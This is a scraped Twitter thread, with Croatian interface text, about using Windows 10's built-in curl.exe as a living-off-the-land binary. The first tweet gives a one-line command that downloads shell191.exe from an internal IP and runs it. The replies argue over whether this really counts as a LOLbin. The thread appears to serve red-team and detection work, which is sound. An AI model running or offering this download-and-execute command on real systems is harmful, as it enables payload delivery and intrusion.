Prikaži ovu nit
#Curl.exe is the new #rundll32.exe - #LOLbin
Affected systems - Windows 10 build 17063 and Later
curl -O http://192.168.191.1/shell191.exe & start shell191.exe
More info - https://medium.com/@reegun/curl-exe-is-the-new-rundll32-exe-lolbin-3f79c5f35983 …
https://youtu.be/f2xpCl2Y7t8
#blueteam #redteam #dfir #ThreatHunting
-
-
Hvala. Twitter će to iskoristiti za poboljšanje vaše vremenske crte. PoništiPoništi
-
-
-
I'm not sure I see how this is a lolbin You basically download something with curl (expected behavior) and then execute it with start (https://docs.microsoft.com/fr-fr/windows-server/administration/windows-commands/start …)
Did I miss something ? -
Curl is included as default in Windows 10 build 17063 and later, So machines with above build has curl by default, Like certutil, rundll32, bitsadmin , Curl can be used to download the payload from default OS files. "Start" included to demonstrate the impact. Hope I made clear.
- Još 2 druga odgovora
Novi razgovor -
-
-
Nice find, but I think I would classify curl as a pure downloader and not compare it to rundll32. Start is part of cmd.exe.
-
Agreed. The "&" is a command separator. The above command runs curl, then start.
- Još 1 odgovor
Novi razgovor -
-
-
Isn't curl in MS world just an alias for invoke-web anyway? I don't think it's actually cURL.
-
Sorry, i see i was way off. There's an actual curl.exey bad
- Još 4 druga odgovora
Novi razgovor -
Čini se da učitavanje traje već neko vrijeme.
Twitter je možda preopterećen ili ima kratkotrajnih poteškoća u radu. Pokušajte ponovno ili potražite dodatne informacije u odjeljku Status Twittera.